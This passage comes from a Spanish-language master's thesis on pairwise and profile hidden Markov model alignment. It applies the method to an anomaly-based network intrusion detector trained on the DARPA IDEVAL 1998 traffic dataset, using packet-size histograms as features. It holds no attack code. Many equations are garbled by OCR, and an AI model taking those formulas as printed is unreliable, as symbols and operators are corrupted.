moviéndose desde (i,j) aalgunadelasceldas (i—1,j —1), (i—1,j) o (i,j — 1).

3.4.1. ALINEAMIENTO DE PAREJAS USANDO HMM

Como ya se menciono, este alineamiento consiste en tomar 2 secuencias y ubicarlas de
tal manera que las bases comunes puedan mostrar la relacion entre ambas secuencias,
para esto existen multiples algoritmos [63], en esta seccién se detallara el alineamiento
a partir de un Modelo Oculto de Markov.

Sea M(i,j) el mejor puntaje para (i,j) dado que x; esta alineado con y;; L,.(i,j) el mejor
puntaje dado que x; esta alineado con un gap e I,(i,j) el mejor puntaje dado que y;
esta alineado con una insercidn con respecto a x. Asi pues, el calculo de la puntuacién
del alineamiento se plantea como:

M@GA—-1,j—1)+s(x;,y;)
M(i,j) =max{ LG —1,j— 1)+ s(x;, y;)
L(—1,7—1)+s(x,y:)

N M@Gi-1,j)—d
Ix(l:]) - max{lx(l' _ 1’]) —e
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o MG,j—1)—d
L,(i,j) = max{lx(i’j CD—e

Donde se asume que nunca un borrado va a estar seguido de una insercion.

Figura 26. Modelo de Puntuacién para Alineamiento. Fuente [25]

Este tipo de esquema de puntuacion, tal como se ve en la Figura 26, se representa
como un automata de estados finitos [25][63]. En el autbmata cada una de las
transiciones representa un incremento en el puntaje de la secuencia, donde el nuevo
valor para la variable de estado en (i,j) es el maximo de los puntajes correspondientes

a las transiciones de entrada al estado.

FIN

Figura 27. HMM de Puntuacion Preliminar. Fuente [25]

A partir del autbmata de estados finitos se puede generar un HMM con la misma

funcionalidad, para eso es necesario asignar probabilidades para la emision de

simbolos en los estados y para la transicién entre los mismos, asi pues M tendra una
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distribucion de probabilidad p,;, que representara la probabilidad de emitir una pareja
alineada de simbolos a: b y los estados I, e I,, tendran distribuciones p, para emitir un
simbolo a al estar alienado a un gap. La probabilidad de transicion desde M a alguno de
los estados de insercion I se denota como § y la probabilidad de mantenerse en un
estado de inserciébn como &, finalmente se agregan los estados que representan las
condiciones de inicio y terminacion, las probabilidades para llegar al estado de
terminacion se notan como t, mientras que las de salir del estado inicial son idénticas a
las del estado M, como se ve en la Figura 27.

El modelo es entonces un HMM que emite la secuencia de alineamiento de parejas y a
partir de este modelo la solucion del problema de decodificacion se convierte en el
alineamiento Optimo de las dos secuencias usando una variacion del algoritmo de
Viterbi?® [25] donde v*(i, j) representa las probabilidades de Viterbi para el estado k con
la posicion (i, j) y que se aplica sobre el modelo de puntuacion en las cadenas:

1. vM@0,0) =1
v*(i,0) =0
v*(0,j) =0
1-26—-0)vM(@i—-1,j—-1)
2. vM(i,)) = Pry;maxq (1—e- Dvik(i—-1,j-1)
A-—e—Dvlv@i-1,j-1)
SvM(i—1,))
svi*(i —1,))
SvM(i,j—1)
vy (i,j — 1)
3. v =1mmax(vM(n,m),v*(n,m),v"”(n,m))

v'5(i,/) = qumax|

vy (i,j) = qyimax{

Y se recorre el resultado en forma reversa para encontrar el mejor alineamiento (para
obtener el mejor alineamiento en cada paso se guardan los residuos emitidos).

Para determinar la probabilidad de que un par de secuencias estén relacionadas dado
un HMM sin importar cual sea el alineamiento se procede a realizar una suma sobre
todos los alineamientos posibles (6ptimos o no):

P(X,Y) = Z P(X,Y,alineamiento)

alineamientos

Y se calcula usando el algoritmo hacia delante de la seccion 3.3.1.

29 Ver capitulo O
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3.4.2. HMM DE PERFILES Y ALINEAMIENTOS MULTIPLES

En la mayoria de ocasiones el analisis de dos secuencias no da mucha informacion de
las mismas dado que en el fondo las secuencias tienen una relacidon general con
respecto a una familia (conjunto de secuencias con alguna similitud que las identifica
como grupo), asi pues un mejor analisis viene dado en determinar la relacién de una
secuencia con una familia completa. Para conseguir esto se usan, también, Modelos
Ocultos de Markov, los que han demostrado su utilidad como modelos probabilisticos
completos para realizar perfiles [25][60]. Sean en [60] deja claro que los perfiles son
modelos complicados que suelen contener cientos de parametros independientes y por
eso mismo el uso de HMM se vuelve atractivo, ya que da la posibilidad de aprovechar
las caracteristicas probabilisticas del modelo para ajustar los parametros, ademas de
tener una representacion matematica consistente de las inserciones y los borrados. Un
HMM de perfiles se construye a partir de las caracteristicas que se presentan al
momento de hablar de una familia de secuencias [25]:

Se asume que si las secuencias pertenecen a la misma familia entonces van a
presentar areas amplias donde no existiran ni inserciones ni borrados, donde se forman
blogues de alineamientos perfectos, dado esto el esquema de puntuacion s(a,b)
empieza a depender de la posicion i dentro de la secuencia cambiando a un esquema
de puntuacién especifico para cada posicién, a esto se le conoce como PSSM*°.

Los PSSM capturan informacion especifica de conservacién entre secuencias, sin
embargo no representa los gaps presentes en la secuencia, para tal fin se utiliza la
misma puntuacion y(g) en cada posicion de la secuencia, del mismo modo que se usa
en un alineamiento de parejas. Partiendo de estas estructuras de puntuacion se
construye un HMM con una estructura repetitiva de estados M; con diferentes
probabilidades en cada posicion (son muchos HMM sencillos diferentes encadenados
en secuencia), las cuales representan los PSSM:

INICIO o = 000 == Mj s> 00O wmmy- - FIN

Figura 28. Modelo de Estados de Alineamiento. Fuente [25]

Ya con la estructura de alineamiento se deben acomodar los gaps dentro del modelo, a
diferencia del alineamiento por parejas, en los HMM de perfiles se diferencian las
inserciones y los borrados en el modelo. Las inserciones de residuos dentro de la
secuencia se representaran con un conjunto de estados I;, y se agregan las

transiciones entre inserciones y alineamientos.

% position Specific Score Matrix, por sus siglas.
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INICIO  s—- -l 000 == Mj el 000 el — FIN

Figura 29. Modelo con Estados de Insercién. Fuente [25]

Dado que se deben agregar los borrados al modelo, que pueden ser de longitudes
considerables, el modelo se ajusta con un conjunto nuevo de estados que representan
todos los borrados Dj, los cuales realmente son estados que no emiten ningin simbolo.

La estructura completa del HMM se puede ver de la siguiente manera:

Di

INICIO e —- Mj ——- — FIN

Figura 30. Modelo con Estados de Borrado. Fuente [25]

Donde cada estado tiene asociado un conjunto de probabilidades de emision (menos
los de borrado) y todo el modelo tiene un conjunto de probabilidades de transicion entre
estados. Este modelo corresponde directamente con el de alineamiento por pares,
donde M; corresponde al estado M, I; corresponde a I, y D; corresponde a I, ; la

probabilidad de emisién de un simbolo m dado que esta en el residuo y; es b;(m) y se
define como pyim/qyj, las probabilidades de transicién ay,;, = am;p,,, =6 Y aj;, =
ap,p,,, = € para todos los i. Ahora, si las probabilidades de emision y transicion son

definidas, un HMM de perfiles puede modelar cualquier secuencia de residuos posible
gue pertenezca a la familia sobre la cual fue entrenado. Haciendo claridad en los
estados:

e Estado de alineamiento M;: Representa el alineamiento correcto de los residuos,
o bien, cuando el residuo del modelo es el mismo al residuo de la secuencia
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examinada. A partir de un alineamiento se puede encontrar una 0 mMas
inserciones y un borrado.

e Estado de insercion I;: Representa la aparicion de uno o mas residuos que no
coinciden con la base del modelo de referencia, puede ser informacion que se ha
insertado durante el proceso evolutivo, desde una insercion solo se puede llegar
a un alineamiento o al final del modelo.

e Estado de borrado D;: Representa la desaparicion de un residuo que, dado el
alineamiento, deberia estar presente en la posicion respectiva, son los residuos
faltantes de la secuencia. Desde un borrado puede aparecer un alineamiento,
una insercion u otro borrado.

Teniendo la estructura del modelo es necesario estimar los parametros del modelo.
Durbin, Eddy, Krogh y Mitchison en [25] muestran que los HMM de perfiles pueden ser
entrenados a partir de secuencias sin alinear usando el algoritmo de maximizacion de
esperados Baum-Welch*!, luego, si el modelo entrenado es usado para el paso final del
algoritmo de Viterbi de un alineamiento por parejas en cada una de las secuencias
individuales, entonces el entrenamiento genera un alineamiento multiple en adicion al
modelo. Entonces el entrenamiento consiste en:

1. Escoger el modelo e inicializar los parametros
2. Estimar los parametros del modelo usando el algoritmo Baum-Welch.

Del mismo modo es posible entrenar el modelo a partir de una secuencia previamente
alineada, asi pues, el entrenamiento consiste en:

1. Escoger el modelo e inicializar los parametros

2. Realizar un alineamiento preliminar usando Needleman-Wunch o Smith-
Waterman

3. Estimar los parametros del modelo usando el algoritmo Baum-Welch.

Dado que un modelo HMM de perfiles es una estructura lineal de estados al momento
de escoger el modelo lo Unico que se debe tener presente es la longitud del mismo, la
cual se nota como M y representa el nUmero de estados de alineamiento exacto del
modelo. Una regla cominmente usada para calcular el tamafio del modelo consiste en
usar el promedio de tamafio de las secuencias de entrenamiento [25].

Hughey, Karplus y Krogh en [33] muestran que dado el Modelo Oculto de Markov
entrenado y un conjunto de secuencias, es de interés determinar la probabilidad de que
una secuencia de observaciones 0 haya sido generada por el modelo A, formalmente
P(0|1). De manera general, el célculo que se realiza es determinar si la secuencia tiene
mayor probabilidad de ser generada por el modelo A que por un modelo vacio ¢ (con un

3L Ver capitulo 3.3.3
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Unico estado que tiene emision de simbolos equiprobable), asi pues el puntaje S que
determina la probabilidad de que la secuencia haya sido generada por el modelo es:

_P(OID)
~ "P(019)

Se puede calcular el nUmero esperado de secuencias en el conjunto con un puntaje de
por lo menos S mediante el calculo del E-Value, de la siguiente manera:

E = tmne ™

Donde n y m representan las longitudes del modelo y la secuencia a alinear,
respectivamente, 7 representa el escalamiento del valor para el espacio de secuencias
y A representa el escalamiento para el sistema de puntuaciéon. De ahi se puede decir
gue un menor E-Value es sinbnimo de un mejor alineamiento entre el modelo y la
secuencia.

3.5. USOS DE LOS HMM

A pesar que los HMM han sido implementados en su mayoria para aplicaciones en el
campo de la bioinformatica, es cierto también que se han usado para modelar muchos
tipos de patrones en otras areas, sin embargo la teoria de los mismos permanece
intacta. Entre las muchas aplicaciones existentes se pueden observar:

Sistemas de reconocimiento de voz [9][15].

Prediccion de estructuras de proteinas [19].

Modelado de proteinas [39].

Reconocimiento de manuscritos [4][11]

Reconocimiento de perfiles de uso de internet [66]
Modelado de trafico de Internet [22][31]

Clasificacion de tréafico de aplicaciones en Internet [69][70]

Por lo tanto, en esta investigacion se decide utilizar Modelos Ocultos de Markov,
particularmente su utilidad para el alineamiento multiple de secuencias, como
alternativa para detectar intrusiones de trafico.
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4. DETECTOR DE INTRUSOS USANDO MODELOS OCULTOS DE MARKOV

Este capitulo busca presentar el proceso de analisis de datos realizado sobre la pila de
protocolos IP con el fin de seleccionar las caracteristicas apropiadas para plantear un
sistema de deteccidn de intrusiones, segun se vio en la seccion 2.4, y que esté basado
en Modelos Ocultos de Markov, segun la teoria presentada en el Capitulo 3. Es
necesario plantear una manera de realizar la clasificacion, teniendo en cuenta que se
busca agrupar un conjunto de objetos en un nimero determinado de categorias o
clases, tal y como Thedoridis y Koutrombas lo sefialan en [65], este proceso sigue una
metodologia especifica:

1. Identificar el nimero de grupos para los objetos, cada grupo se denomina una
clase.

2. ldentificar una cantidad medible que pueda distinguir una observacion de otra,
esta cantidad se le denomina una caracteristica.

3. Determinar si las caracteristicas son buenas candidatas para la separacion de
las clases, de modo tal que cada objeto pueda ser clasificado a partir,
Gnicamente, de sus caracteristicas.

4. Determinar el método con el cual se evaluardn las caracteristicas y su
pertenencia a las clases, a este se le denomina clasificador.

Es claro que en esta tesis de maestria los objetos a agrupar son datos de trafico
capturados sobre una red, por lo que se deben determinar las clases, caracteristicas y
el clasificador de modo tal que se pueda realizar la deteccién de intrusiones. El proceso
partié de la seleccion de trazas de trafico que fuesen suficientemente reales con el fin
de analizar cada conexion y determinar que caracteristicas representan un patrén de
trafico y son las mas apropiadas para incluir en un modelo de deteccién, posteriormente
se plantean los parametros del modelo y se realiza el entrenamiento del mismo con el
fin de medir experimentalmente las capacidades de deteccién del sistema planteado.
Finalmente se comparan diferentes resultados para determinar cuales parametros son
los mas apropiados para detectar intrusos.

4.1. MODELO DE DETECCION

Tal como lo plantean Takeda [64], Coull, Branch, Szymanski y Breimer [21], el proceso
de deteccion de intrusos puede realizarse usando una aproximacion desde el campo de
la bioinformatica, particularmente con el alineamiento de secuencias con el fin de
detectar patrones y anomalias en actividad especifica.

Por un lado Takeda plantea un NIDS que construye las secuencias a analizar a partir
del contenido completo de los paquetes de protocolo TCP y realiza el proceso de
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deteccién con un alineamiento con respecto a modelos que representan las firmas de
ataques conocidos, esta aproximacion tiene la misma deficiencia que plantean los
modelos de deteccion basados en firmas tratados en la seccion 2.4.2: en el momento
en que ocurra un ataque desconocido, el modelo no sera capaz de determinarlo, pues
no tendra una firma especifica que utilizar.[64]

Por otra parte Branch, Szymanski y Breimer plantean un HIDS a partir del alineamiento
de secuencias de comandos utilizados por los usuarios, cada secuencia representa la
firma de actividad de un usuario especifico y se entrenan modelos para cada firma, en
caso que aparezca una actividad que no concuerde con las firmas de los usuarios, ésta
se cataloga como una intrusion. Esta aproximacion tiene la ventaja que el proceso de
deteccidn parte de actividad conocida, que puede ser facilmente extraida y actualizada
con la llegada de usuarios nuevos. [21]

Al momento de plantear un sistema de deteccion de intrusiones es claro que se
necesita que el sistema pueda responder tanto a atagues conocidos como a ataques
nuevos, de tal forma la mejor alternativa no radica en generar las firmas de los ataques
sino generar un sistema que detecte anomalias en actividad conocida, como un NBA.
Partiendo de esto, es necesario determinar qué datos de una comunicacién por
protocolo IP se pueden extraer y puedan expresarse como una secuencia, la cual
pueda someterse a un proceso de alineamiento contra una firma conocida y determinar
si es 0 no una anomalia de trafico, que bien puede ser expresada como un ataque.

4.1.1. SELECCION DE DATOS DE TRAFICO

La seleccion de datos de trafico es un proceso delicado pues de la calidad de estos
dependera la calidad del sistema de deteccién de intrusos, Zanero en [71] demuestra
que un conjunto de datos de entrenamiento y prueba para un IDS que no tenga la
calidad suficiente desembocara irremediablemente en un sistema de deteccion
defectuoso, para evitar este inconveniente en necesario obtener una base de datos que
haya sido probada y cuya calidad sea comprobada.

Zanero deja claro que el conjunto de evaluacion de IDS DARPA (IDEVAL) es
basicamente el Unico conjunto de datos disponibles de manera gratuita que contiene
informacion de alta calidad y datos que se asemejan en gran medida a la realidad del
tréfico de redes, ademas de haber sido ampliamente utilizado para la investigacion
sobre IDS [71]. Trabajos como el de Lippmann, Haines, Fried, Korba y Das [40]
demuestran la importancia que ha adquirido este conjunto de evaluacién en la
investigacién en el campo sustentando la afirmacion de Zanero. Evaluaciones y analisis
realizados por Brugger y Chow en [12], asi como por Mahoney y Chan enfatizan la
calidad y pertinencia del conjunto de datos y sefialan que, aunque son relativamente
antiguos, son un excelente punto de partida para realizar investigaciones en sistemas
de deteccidn de intrusos.[42]

Dado lo anterior, para el desarrollo de este trabajo se decide usar el conjunto de
evaluacion IDEVAL de 1998, el cual fue generado por el Grupo de Tecnologias en los
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Sistemas de Informacion (IST) del Laboratorio Lincoln del MIT3 bajo el auspicio de la
Agencia de Proyectos de Investigacion Avanzada en Defensa (DARPA) y el Laboratorio
de Investigacion de la Fuerza Aérea (AFRL) de Estados Unidos y el cual contiene datos
para entrenamiento de IDS consistentes de capturas de tréfico realizadas durante 7
semanas, repartidas en capturas de 5 dias (de lunes a viernes), lo que suma alrededor
de 5Gb de datos de entrenamiento; y datos de prueba correspondientes a 2 semanas
de capturas. Cada una de las capturas de entrenamiento viene con los ataques
debidamente etiquetados.

Las capturas se toman en una red con 7 equipos que simulan el trafico de una red
interna, un enrutador de frontera y el trafico de una red externa, los equipos y sus
funciones son:

Locke (192.168.0.40): Genera trafico de la subred interna.

Calvin (192.168.1.30): Genera todo el trafico de redes externas.

Zeno (192.168.1.5): Encargado de hacer el escaneo de la red y almacenar los datos.

Plato (192.168.0.10): El controlador del Calvin, todo el tréfico generado desde all4 no

se tiene en cuenta.

e Leibnitz (192.168.0.60) y Pascal (192.168.0.20): Son equipos convencionales que
simulan una estacién de trabajo y un servidor de aplicaciones de la red interna.

e Router CISCO (192.168.0.1, 192.168.1.1): El enrutador de frontera, separa la red

interna de la red externa.

La red tiene la siguiente arquitectura:

Zeno
SunOS
192.168.1.5

Plato Leibnitz
Solaris Solaris
192.168.0.10 192.168.0.60

192.168.0.1
HUB

192.168.1.1

Router CISCO AGS+

Pascal Locke Calvin
Solaris 5.5 Solaris Linux
192.168.0.20 192.168.0.40 192.168.1.30

Figura 31. Arquitectura IDEVAL 1997, Richard Lippmann MIT Lincoln Laboratory

32 para mas informacién http://www.ll.mit.edu/mission/communications/ist/corpora/ideval/index.html
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IDEVAL cuenta con 27 tipos de ataques diferentes y 6 tipos diferentes de anomalias
entre los cuales se incluyen todos los ataques revisados en la seccion 2.3. Los datos
presentados en IDEVAL 1998 consisten de las cabeceras de los paquetes de red leidos
en Zeno justo después del enrutador de frontera, los cuales contienen las cabeceras de
los protocolos de la capa de enlace, de la capa de red y de la capa de transporte segun
son definidas por Hubert Zimmermann en el Modelo OSI [74], la organizaciéon de los
paquetes guarda el formato estandar de captura tcpdump®:.

4.1.2. DEFINICION DE CLASES

Independientemente de los datos que se operan es menester que la clasificacion a la
que debe ser sujeta para la deteccion sea concordante con el tipo de problema a
resolver, en este caso: Realizar una clasificacion del trafico de red con el propésito de
detectar intrusiones. Se parte del hecho que una intrusion puede darse en cualquier
puerto en cualquier instante, ademas es claro que una conexion de un protocolo
especifico en condiciones normales tiene un comportamiento especifico, tal como lo
han demostrado Wright, Monrose y Masson en [70], y se asume gue en presencia de
una intrusién o un ataque su comportamiento estaria gravemente alterado. En otras
palabras: se asume que no es lo mismo una persona navegando y revisando paginas
web a otra aplicando una metodologia de ataque, tal como se definié en la seccion 2.2.

Partiendo de la necesidad de un sistema de deteccién de intrusos que sea capaz de
detectar ataques desconocidos y que ademas es imposible tener una clase que
represente todo el conjunto de estos ataques, se propone usar un modelo de deteccion
de anomalias a partir de clases conocidas, esto es, representar los protocolos de
interés en clases especificas como firmas y a partir del alineamiento con estas clases
determinar la aparicién de un ataque. De manera general, una anomalia en el trafico de
red (tal como uno de los ataques definidos en la seccién 2.3) no se ajustara a ninguna
de las clases definidas, por lo que sera rechazada por el sistema.

Dadas estas consideraciones es necesario determinar cudales son los servicios mas
representativos en el conjunto de prueba IDEVAL. Un analisis de frecuencia de puertos
conocidos de 20 protocolos diferentes de uso amplio y considerable sobre los datos de
entrenamiento arroja resultados claros de los protocolos mas utilizados tal como lo
ejemplifica la Figura 32.

Asi pues, se puede apreciar un conjunto bien diferenciado de protocolos de clasificacion
con presencia notable en los datos de IDEVAL, de manera tal que las clases de interés
serian:

w = {Telnet, FTP(control,data), SMTP, HTTP, X11}

% Tcpdump es la herramienta estandar de facto para la captura de paquetes de trafico en redes, para
mas informacién: http://www.tcpdump.org/.
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Figura 32. Ejemplo de Frecuencia de Protocolos para dos semanas de Entrenamiento

Donde Telnet (Telecommunication Network) es un protocolo de red que permite acceder
a equipos de manera remota; FTP (File Transfer Protocol) es un protocolo de red para
la transferencia de archivos y tiene descritos dos modos, uno de control y uno de datos;
SMTP (Simple Mail Transfer Protocol) es un protocolo de texto para el intercambio de
correo electrénico; HTTP (Hypertext Transfer Protocol) es el protocolo de transferencia
de hipertexto usado en transacciones en internet y X11 es la version 11 del protocolo
gue permite la interaccién gréfica entre 1 usuario y varias computadoras de manera
remota. Es clave mencionar la separacion del protocolo FTP en dos: Control y Data,
esto se debe a que el protocolo utiliza el puerto 20 para el flujo de datos entre cliente y
servidor, mientras que el puerto 21 es utilizado para el flujo de control.
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Existe una ventaja notable al definir las clases como protocolos que estan
estandarizados y descritos en los RFC, y es que al aparecer un protocolo nuevo es
posible establecer un entorno libre de ataques (por ejemplo en una LAN sin conexién a
internet) en el cual obtener las observaciones que se usardn en el proceso de
entrenamiento del modelo. Del mismo modo, esta aproximacion permite que el sistema
de deteccion de intrusos tenga capacidad de deteccion aun cuando se presenta un
ataque nuevo o0 una variacion de uno conocido pues depende Unicamente de firmas
conocidas con anterioridad.

4.1.3. ANALISIS Y DETERMINACION DE CARACTERISTICAS

Siguiendo la definicion de un Modelo Oculto de Markov dada en la seccion 3.2 es
necesario definir el dato que sera tomado como el conjunto de observaciones que
estardq sujeto a alineamiento. Para el caso particular de la deteccion de intrusos en
redes de telecomunicaciones el conjunto observable esta conformado por el trafico
capturado por Zeno, donde cada uno de los paquetes capturados estad compuesto por
un cabezote Ethernet, un cabezote de Protocolo de Internet y un cabezote UDP o TCP,
asi también cada comunicacion entre dos equipos (determinada por sus direcciones IP)
representa una secuencia de observaciones, de modo tal que para cada conexion
existe una secuencia especifica.

Sin embargo es poco eficiente utilizar todos los campos de las cabeceras como
observaciones validas para el modelo, una revision a las cabeceras de los protocolos,
como se ve en la Figura 33, deja ver que la mayoria de campos no guardan una
relacion directa con los datos que lleva el paquete, a lo sumo sirven para realizar
labores de agrupamiento que determinaran las secuencias (se puede realizar el
agrupamiento por direcciones MAC o por direcciones IP) y la clasificacion inicial de
protocolos para el entrenamiento del modelo.

0-3 4-7 8-15 16-18 19-31
Versién | Tamafio Cabecera | Tipo de Servicio Longitud Total
Identificador Indicadores | Posicion de Fragmento
Time To Live Protocolo Checksum Cabecera

Direccién IP de Origen

Direccion IP de Destino

Opciones Relleno
Puerto origen Puerto destino
Longitud del Mensaje Suma de verificacion
Datos

Figura 33. Pila de Protocolo TCP/IP
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Varios autores realizan analisis similares y resuelven escoger los tamafios y los tiempos
entre llegada de los paquetes como las observaciones para el modelado, dando todos
excelentes resultados en trabajos con diferentes protocolos (SMTP, HTTP, HTTPS,
FTP, Telnet, SSH, AIM y de manera mas general TCP y UDP) [22][31][69][70]. Wright,
Monrose y Masson en [69] explican que el tiempo entre llegadas y los tamafios son las
Unicas caracteristicas que se mantienen intactas después del cifrado de paquetes,
permitiendo desarrollar modelos bastante generales, asi mismo, que el uso de sélo
estas caracteristicas hace que la captura y almacenamiento sean bastante eficientes.

Estas dos caracteristicas son excelentes candidatas a ser observaciones para el
modelo, sin embargo, si el modelo se basa en los tiempos entre llegadas para detectar
los ataques, en el momento de una congestion el sistema puede terminar detectando
comunicaciones normales de manera equivocada. Es claro que en caso que la red esté
sufriendo una sobrecarga de utilizacion (un ataque DoS, exceso de uso de aplicaciones
P2P, descargas masivas, etc.) los tiempos de llegada de cada paquete se vean
afectados negativamente (por la latencia de la red), por lo cual al momento de realizar
la deteccion se llegara a un estado en el cual ninguna comunicacion coincide con los
patrones modelados. Wright, Monrose y Masson muestran de manera clara el problema
que representa la congestion de la red al momento de modelar los tiempos entre
llegadas, ademas que el amplio rango de valores que muestra esta caracteristica
dificulta la definicion de observaciones discretas.[70]

Se ha demostrado que la congestidon en la red es muy habitual, O3B Networks Ltd en
[54] define fuentes de latencia en la capa de aplicacion, en los procesos de
encapsulamiento en la capa de enlace, de red y de transporte, en la serializacién de
datos en la capa fisica, en el enrutamiento y en el direccionamiento de los paquetes, en
los buffer y las colas de los equipos de enrutamiento, en la demora en la propagacion
por el medio y en los anchos de banda disponibles en los diferentes nodos de una red,;
también autores como Agarwal en [1], Daniel, White y Teague en [23], Choi, Moon,
Cruz, Zhang y Diot en [16] y Choi, Moon, Zhang, Papagiannaki y Diot en [17] han
demostrado el impacto de la congestion en el desempefio de las redes y en las
demoras en las comunicaciones. De tal manera es pertinente evitar el uso de los
tiempos entre llegadas de los paquetes como observacion para un sistema de deteccién
de intrusos ya que el desempefio del mismo y su efectividad no se deben ver alterados
por estos eventos que no tienen relacion con ataques reales. Asi pues podemos definir
el conjunto de observaciones V = {v,,v,,...,vy} como en conjunto de tamafios de
paquetes, donde cada v; representa el tamafio del paquete i de una comunicacion
especifica.

4.1.4. VALIDACION DE LAS CARACTERISTICAS

Para que las observaciones puedan ser utilizadas para modelar el trafico es necesario
gue guarden cercana similitud entre las observaciones de la misma clase y que tengan
suficiente distancia con respecto a las demas clases. [65]
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En esta investigacion se tomaron los datos de IDEVAL y se grafico la desviacion
estandar y la varianza calculada a partir de los tamafios de paquetes para cada
conjunto de clases definidas para las 7 semanas de datos de entrenamiento (Ver Figura
34)** con el fin de determinar si existen similitudes y si el clasificador es aceptable,
como se puede observar las clases para el protocolo FTP correspondientes a los
paquetes de control (FTPCTRL) y a los paquetes de datos (FTPDATA), asi como la
clase para SMTP tienen tamafios de paquete con una desviacion estandar
caracteristica que los diferencia de las demdas clases y que ademas es comparable
entre observaciones de la misma clase. Tanto HTTP como Telnet se presentan un poco
mas dispersos, inclusive logrando transponerse en otras clases, sin embargo se puede
observar que la mayoria de observaciones se concentran en el mismo espacio de
manera tal que la caracteristica escogida muestra ser aceptable para ser usada.

Se evit6 graficar los datos de la clase X11 ya que posee valores de desviacion estandar
a lo largo de todas las otras clases dificultando la observacién, ademas los paquetes de
éste protocolo solo estan presentes en 4 de las 7 semanas.

600000
500000 )gs
X
© 400000 + Telnet
N )
c
.8 300000 ® HTTP
> i SMTP
200000 m
+ X FTPDATA
100000 o FTPCTRL
0 b
0 200 400 600 800
Desviacion estandar

Figura 34. Clasificacion de Protocolos (Varianza vs Desviacién estandar)

Ya identificado que el tamafio de los paquetes puede servir como una caracteristica
diferenciadora entre clases, es necesario determinar qué relacion existe entre las
caracteristicas de manera tal que se pueda suponer un patrén existente para todas las
observaciones de la misma clase. Con tal fin se realizaron histogramas de las
caracteristicas para cada clase utilizando las observaciones de las semanas de
entrenamiento de IDEVAL y separando los tamafos en 128 particiones (bin) para cada
observacién, se obtuvieron graficas como las siguientes:

% Se graficé de esta manera para poder apreciar mejor los datos.
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Figura 36. Ejemplos de Histogramas de Tamafios de HTTP
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Figura 37. Ejemplos de Histogramas de Datos de SMTP
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Como se puede observar, todas las graficas tienen patrones de tamafios de paquete
gue guardan mucha similitud entre los de la misma clase, y son relativamente diferentes
entre las clases a lo largo de las 7 semanas analizadas, de manera especifica, se
puede apreciar que en la clase Telnet se concentran paquetes muy pequefios y
ocasionalmente unos muy grandes, teniendo solo 2 tamafios importantes: 40 bytes y
1500 bytes. Por otra parte la clase HTTP es muy similar a la clase Telnet, con
observaciones importantes en 40 bytes y en 1500 bytes, sin embargo también
presentan observaciones que se concentran entre los 200 bytes y los 400 bytes, asi
como un componente apreciable entre 1000 bytes y 1200 bytes que no estan presentes
en la clase Telnet.

La clase SMTP tiene un patron con un conjunto denso de observaciones entre 40 bytes
y 100 bytes, ademas de otras observaciones importantes entre los 120 bytes y los 140
bytes, también muestra 3 observaciones mas con una magnitud importante, ubicadas
en 570 bytes, en 1060 bytes y en 1500 bytes. Por su parte, la clase FTP para datos
(FTPDATA) muestra un patron que radica en 2 observaciones claramente marcadas:
una entre 40 bytes y 50 bytes, la otra entre 1490 bytes y 1500 bytes, donde estas
Ultimas tienen una frecuencia muy alta, lo que la diferencia de la clase HTTP y la clase
Telnet.

Para la clase FTP de control (FTPCONTROL) las muestras de las 7 semanas parecen
ser idénticas en sus observaciones, concentrandose todas entre 40bytes y 140bytes.
Por dltimo, las observaciones de la clase X11 son mas representativas en 40bytes,
70bytes y 120bytes, asi como también una observacion en 1500bytes, aunque es claro
gue presenta observaciones semejantes a las otras clases, motivo que explica el
comportamiento que impidié que fuese graficada en la Figura 34.

4.1.5. DEFINICION DEL CLASIFICADOR

Dada la seleccion de la caracteristica apropiada para el modelado y la definicion de las
secuencias como el conjunto de paquetes pertenecientes a una misma comunicacion
entre equipos, se necesitd definir el clasificador apropiado para lograr la deteccion de
anomalias sobre el comportamiento normal. Observando las conversaciones
procesadas se encontré una disparidad de longitudes entre secuencias pertenecientes
a la misma familia, lo que mostré que esta aproximacion era poco practica al momento
de la generacion de un modelo, pues multiples secuencias de la misma familia tendran
tamafios muy diferentes haciendo dificil generar un modelo que tenga una cantidad
definida de estados, por ejemplo, para una conversacion entre Calvin y Locke, que
establecen cuatro conexiones HTTP en diferentes instantes de tiempo se pueden
apreciar las siguientes secuencias de tamanos de paquete:
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Longitudes de Conversaciones HTTP

Figura 41. Muestra de Cuatro Conversaciones de HTTP

Lo que corresponderia a 4 HMM lineales de 40 estados para ‘HTTP 1°, 16 estados para
‘HTTP 2’, 19 estados para ‘HTTP 3’ y 27 estados para ‘HTTP 4’, demostrando que a
pesar de ser observaciones homologas (pertenecen a la misma clase: HTTP) sus
estructuras de estados son demasiado diferentes, lo que potencialmente podria
desencadenar la generacion de un modelo con una cantidad demasiado grande de
estados que no se asemeje a ninguna otra secuencia. Este mismo inconveniente se
presenta en todos los protocolos estudiados.

Con el fin de evitar el inconveniente de la variabilidad del tamafio de secuencias en el
dominio temporal se decidi6 cambiar el dominio de las caracteristicas a uno que sea
comun para todas las secuencias con el fin de uniformizar la cantidad de estados
maximo posible, para tal fin se considero la secuencia de tamafios como las muestras
discretas de una sefal digital y se decidi6 cuantizar el rango posible de tamafios en
intervalos uniformes usando la siguiente formula:

Dato
DatoCuantizado = Entero ( * 100)
DatosTotales
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Para el protocolo IP el paquete puede tener un minimo de 40bytes (sin informacién de
cabecera) y un maximo de 1500bytes (sin cabecera), de manera que cada intervalo se
escogié de 30bytes con el fin de tener 50 intervalos posibles. Luego en cada intervalo
se contd la cantidad de tamafios de paquetes que pertenecian al valor correspondiente,
este tamafo se convirtié en la nueva observacion (simbolo nuevo). Esta transformacion
corresponde a la construccion de un histograma, donde el resultado sera alineado
usando Modelos Ocultos de Markov de 50 columnas de estados para todas las
secuencias.
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Figura 42. Relaciéon de Histograma de Frecuencias y HMM

Sin embargo, esta aproximacion tiene una dificultad similar a la de las secuencias sobre
el dominio del tiempo, en este caso ya no se tienen modelos de longitud variable, sino
estados del modelo con una cantidad variable de observaciones (simbolos de emision)
y que es desconocida a priori. Para corregir esta dificultad se decidié tomar la cantidad
de tamafios de paquetes como una proporcion del total de tamafios, logrando que la
informacion de la frecuencia sea porcentual y que la suma total de observaciones de los
estados sume un 100%. Con esta transformacion se puede decir que cada una de las
conversaciones IPs corresponde a un modelo de frecuencias de tamafos de paquete
de modo tal que se comporta como una funcion de probabilidad discreta (su densidad
de probabilidad acumulada es igual a 1).
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Figura 43. Muestra de Histograma y HMM Normalizado

La ventaja principal de utilizar Modelos Ocultos de Markov es la habilidad que tienen de
caracterizar clases enteras de secuencias, debido a que cada posicién en la secuencia
tiene su propia distribucion de observaciones, asi como también un conjunto de
transiciones entre los diferentes estados, de manera tal que estos modelos tienen
distribuciones de bases dependientes de la posicion y asi mismo penalizaciones de
